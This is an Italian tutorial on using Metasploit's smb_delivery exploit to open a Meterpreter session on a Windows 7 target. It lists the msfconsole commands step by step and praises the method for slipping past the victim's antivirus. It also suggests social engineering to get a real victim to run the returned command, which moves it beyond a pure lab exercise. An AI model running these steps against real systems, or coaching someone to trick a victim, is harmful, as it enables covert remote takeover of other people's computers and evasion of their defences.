Abbiamo già visto come bucare un PC Windows da remoto con Metasploit con un metodo generico che possa adattarsi ad ogni tipo di situazione. Oggi vediamo come sfruttare una falla scoperta relativamente di recente nel protocollo SMB, che permette all’attaccante di iniettare una DLL o del codice PowerShell malevoli all’interno del PC Windows bersaglio, aprendo così una sessione di Meterpreter su di esso.
L’enorme vantaggio che presenta questa tecnica rispetto a quella generica vista in precedenza, è che non essendo il payload incorporato in un eseguibile, non subirà la scansione da parte del software antivirus della vittima, non avvertendola della minaccia da parte di quest’ultimo.
Per chi non lo conoscesse, SMB (acronimo di Server Message Block) è il protocollo utilizzato da Microsoft per la condivisione di file, stampanti e porte seriali. Data l’importanza di SMB, un progetto free denominato Samba, garantisce la compatibilità del protocollo con piattaforme non Microsoft.
Attacco SMB Delivery con Metasploit
Metasploit offre un exploit chiamato appunto SMB Delivery, che garantisce la consegna di payload sotto forma di DLL o di PowerShell alla macchina bersaglio.
Il funzionamento dell’exploit in questione è piuttosto semplice: crea un server SMB sulla macchina attaccante che ospiterà il payload, inoltre fornisce il comando che, una volta eseguito da parte della vittima, permette la sua connessione al server appena creato, favorendo la DLL injection, aprendo così una sessione di Meterpreter su di essa.
Il server SMB tipicamente comunica con gli host connessi attraverso due porte: la 139 e la 445. Il funzionamento del protocollo attraverso queste due è leggermente differente. A noi basta sapere che gli host connessi direttamente con il server dialogheranno con esso attraverso la porta 445.
Informazioni preliminari
In questa guida, ho utilizzato due macchine: una attaccante, con Kali Linux Rolling come sistema operativo con indirizzo IP 192.168.1.5 e una bersaglio, una macchina virtuale VMWare con installato Windows 7 Ultimate SP1 con indirizzo IP 192.168.1.10. Sulla macchina bersaglio è attivo il software antivirus (nello specifico Avast) con motore e definizioni aggiornate.
Configurazione dell’exploit smb_delivery
Avviamo il servizio postgresql e msfconsole
- service postgresql start
- msfconsole
Configuriamo l’exploit, avviando il server SMB
- use exploit/windows/smb/smb_delivery
- set SRVHOST [ip_attacker]
- set SRVPORT 445
- set TARGET 1
- run
Terminati questi passaggi msfconsole avrà attivato il server SMB in background, restituendoci il comando necessario per la connessione.
Aggiornamento del 27/01: ho notato ora, che dopo l’update di Metasploit Framework alla versione 4.13.14-dev, omettendo il tipo di injection da effettuare, l’exploit non mostra il comando da eseguire sulla macchina bersaglio. Ho aggiornato la configurazione scritta dell’exploit, ma per quanto riguarda le immagini, perlomeno per ora comunico a malincuore che dovrete accontentarvi di queste!
Connessione della vittima al server SMB
Sarà sufficiente che la vittima lanci il comando restituito da msfconsole, per ottenere una sessione di Meterpreter. Essendo un test, ci preoccupiamo personalmente dell’esecuzione del comando da parte della vittima.
In uno scenario reale, non sarebbe verosimile l’esecuzione di questo preciso comando da parte della vittima, ragione per cui dovremmo mettere in campo tutte le nostre doti da Social Engineer, affinché l’attacco vada a buon fine.
Sessione di Meterpreter attiva
Appena il comando viene eseguito, msfconsole notifica la creazione di una sessione di Meterpreter in background.
Richiamiamo la sessione con il comando
- sessions -i [id_di_sessione]
Conclusioni
Come potete constatare voi stessi, l’exploit è di semplicissimo utilizzo ed è nettamente più efficace di quello generico, per il fatto che la vittima non deve effettuare il download di un file sul proprio PC, quindi, anche con l’antivirus attivo, non verrà avvertita della minaccia.
Grazie a Baty’s Base per l’Articolo!